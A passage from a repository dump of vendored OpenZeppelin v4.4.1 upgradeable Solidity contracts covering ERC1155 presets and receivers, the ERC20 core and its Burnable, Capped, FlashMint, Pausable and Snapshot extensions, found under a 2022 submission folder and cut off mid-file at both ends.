_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
*
* See {ERC1155-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mint(to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.
*/
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mintBatch(to, ids, amounts, data);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerableUpgradeable, ERC1155Upgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override(ERC1155Upgradeable, ERC1155PausableUpgradeable) {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/utils/ERC1155HolderUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Holder.sol)
pragma solidity ^0.8.0;
import "./ERC1155ReceiverUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev _Available since v3.1._
*/
contract ERC1155HolderUpgradeable is Initializable, ERC1155ReceiverUpgradeable {
function __ERC1155Holder_init() internal onlyInitializing {
__ERC165_init_unchained();
__ERC1155Receiver_init_unchained();
__ERC1155Holder_init_unchained();
}
function __ERC1155Holder_init_unchained() internal onlyInitializing {
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/utils/ERC1155ReceiverUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../IERC1155ReceiverUpgradeable.sol";
import "../../../utils/introspection/ERC165Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155ReceiverUpgradeable is Initializable, ERC165Upgradeable, IERC1155ReceiverUpgradeable {
function __ERC1155Receiver_init() internal onlyInitializing {
__ERC165_init_unchained();
__ERC1155Receiver_init_unchained();
}
function __ERC1155Receiver_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return interfaceId == type(IERC1155ReceiverUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/ERC20Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/IERC20Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/README.adoc
================================================
= ERC 20
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc20
This set of interfaces, contracts, and utilities are all related to the https://eips.ethereum.org/EIPS/eip-20[ERC20 Token Standard].
TIP: For an overview of ERC20 tokens and a walk through on how to create a token contract read our xref:ROOT:erc20.adoc[ERC20 guide].
There a few core contracts that implement the behavior specified in the EIP:
* {IERC20}: the interface all ERC20 implementations should conform to.
* {IERC20Metadata}: the extended ERC20 interface including the <>, <> and <> functions.
* {ERC20}: the implementation of the ERC20 interface, including the <>, <> and <> optional standard extension to the base interface.
Additionally there are multiple custom extensions, including:
* {ERC20Burnable}: destruction of own tokens.
* {ERC20Capped}: enforcement of a cap to the total supply when minting tokens.
* {ERC20Pausable}: ability to pause token transfers.
* {ERC20Snapshot}: efficient storage of past token balances to be later queried at any point in time.
* {ERC20Permit}: gasless approval of tokens (standardized as ERC2612).
* {ERC20FlashMint}: token level support for flash loans through the minting and burning of ephemeral tokens (standardized as ERC3156).
* {ERC20Votes}: support for voting and vote delegation.
* {ERC20VotesComp}: support for voting and vote delegation (compatible with Compound's token, with uint96 restrictions).
* {ERC20Wrapper}: wrapper to create an ERC20 backed by another ERC20, with deposit and withdraw methods. Useful in conjunction with {ERC20Votes}.
Finally, there are some utilities to interact with ERC20 contracts in various ways.
* {SafeERC20}: a wrapper around the interface that eliminates the need to handle boolean return values.
* {TokenTimelock}: hold tokens for a beneficiary until a specified time.
The following related EIPs are in draft status.
- {ERC20Permit}
NOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC20 (such as <>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc20.adoc#Presets[ERC20 Presets] (such as {ERC20PresetMinterPauser}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.
== Core
{{IERC20}}
{{IERC20Metadata}}
{{ERC20}}
== Extensions
{{ERC20Burnable}}
{{ERC20Capped}}
{{ERC20Pausable}}
{{ERC20Snapshot}}
{{ERC20Votes}}
{{ERC20VotesComp}}
{{ERC20Wrapper}}
{{ERC20FlashMint}}
== Draft EIPs
The following EIPs are still in Draft status. Due to their nature as drafts, the details of these contracts may change and we cannot guarantee their xref:ROOT:releases-stability.adoc[stability]. Minor releases of OpenZeppelin Contracts may contain breaking changes for the contracts in this directory, which will be duly announced in the https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/CHANGELOG.md[changelog]. The EIPs included here are used by projects in production and this may make them less likely to change significantly.
{{ERC20Permit}}
== Presets
These contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.
{{ERC20PresetMinterPauser}}
{{ERC20PresetFixedSupply}}
== Utilities
{{SafeERC20}}
{{TokenTimelock}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20BurnableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../../../utils/ContextUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {
function __ERC20Burnable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC20Burnable_init_unchained();
}
function __ERC20Burnable_init_unchained() internal onlyInitializing {
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20CappedUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Capped.sol)
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20CappedUpgradeable is Initializable, ERC20Upgradeable {
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
function __ERC20Capped_init(uint256 cap_) internal onlyInitializing {
__Context_init_unchained();
__ERC20Capped_init_unchained(cap_);
}
function __ERC20Capped_init_unchained(uint256 cap_) internal onlyInitializing {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20Upgradeable.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20FlashMintUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20FlashMint.sol)
pragma solidity ^0.8.0;
import "../../../interfaces/IERC3156Upgradeable.sol";
import "../ERC20Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the ERC3156 Flash loans extension, as defined in
* https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
*
* Adds the {flashLoan} method, which provides flash loan support at the token
* level. By default there is no fee, but this can be changed by overriding {flashFee}.
*
* _Available since v4.1._
*/
abstract contract ERC20FlashMintUpgradeable is Initializable, ERC20Upgradeable, IERC3156FlashLenderUpgradeable {
function __ERC20FlashMint_init() internal onlyInitializing {
__Context_init_unchained();
__ERC20FlashMint_init_unchained();
}
function __ERC20FlashMint_init_unchained() internal onlyInitializing {
}
bytes32 private constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
/**
* @dev Returns the maximum amount of tokens available for loan.
* @param token The address of the token that is requested.
* @return The amont of token that can be loaned.
*/
function maxFlashLoan(address token) public view override returns (uint256) {
return token == address(this) ? type(uint256).max - ERC20Upgradeable.totalSupply() : 0;
}
/**
* @dev Returns the fee applied when doing flash loans. By default this
* implementation has 0 fees. This function can be overloaded to make
* the flash loan mechanism deflationary.
* @param token The token to be flash loaned.
* @param amount The amount of tokens to be loaned.
* @return The fees applied to the corresponding flash loan.
*/
function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
require(token == address(this), "ERC20FlashMint: wrong token");
// silence warning about unused variable without the addition of bytecode.
amount;
return 0;
}
/**
* @dev Performs a flash loan. New tokens are minted and sent to the
* `receiver`, who is required to implement the {IERC3156FlashBorrower}
* interface. By the end of the flash loan, the receiver is expected to own
* amount + fee tokens and have them approved back to the token contract itself so
* they can be burned.
* @param receiver The receiver of the flash loan. Should implement the
* {IERC3156FlashBorrower.onFlashLoan} interface.
* @param token The token to be flash loaned. Only `address(this)` is
* supported.
* @param amount The amount of tokens to be loaned.
* @param data An arbitrary datafield that is passed to the receiver.
* @return `true` is the flash loan was successful.
*/
function flashLoan(
IERC3156FlashBorrowerUpgradeable receiver,
address token,
uint256 amount,
bytes calldata data
) public virtual override returns (bool) {
uint256 fee = flashFee(token, amount);
_mint(address(receiver), amount);
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
"ERC20FlashMint: invalid return value"
);
uint256 currentAllowance = allowance(address(receiver), address(this));
require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund");
_approve(address(receiver), address(this), currentAllowance - amount - fee);
_burn(address(receiver), amount + fee);
return true;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20PausableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol)
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../../../security/PausableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {
function __ERC20Pausable_init() internal onlyInitializing {
__Context_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal onlyInitializing {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20SnapshotUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Snapshot.sol)
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../../../utils/ArraysUpgradeable.sol";
import "../../../utils/CountersUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it
* return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this
* function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.
*
* Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient
* alternative consider {ERC20Votes}.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20SnapshotUpgradeable is Initializable, ERC20Upgradeable {
function __ERC20Snapshot_init() internal onlyInitializing {
__Context_init_unchained();
__ERC20Snapshot_init_unchained();
}
function __ERC20Snapshot_init_unchained() internal onlyInitializing {
}
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using ArraysUpgradeable for uint256[];
using CountersUpgradeable for CountersUpgradeable.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping(address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
CountersUpgradeable.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _getCurrentSnapshotId();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Get the current snapshotId
*/
function _getCurrentSnapshotId() internal view virtual returns (uint256) {
return _currentSnapshotId.current();
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view virtual returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// Update balance and/or total supply snapshots before the values are modified. This is implemented
// in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) {
// mint
_updateAccountSnapshot(to);
_updateTotalSupplySnapshot();
} else if (to == address(0)) {
// burn
_updateAccountSnapshot(from);
_updateTotalSupplySnapshot();
} else {
// transfer
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
}
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) {
require(snapshotId > 0, "ERC20Snapshot: id is 0");
require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
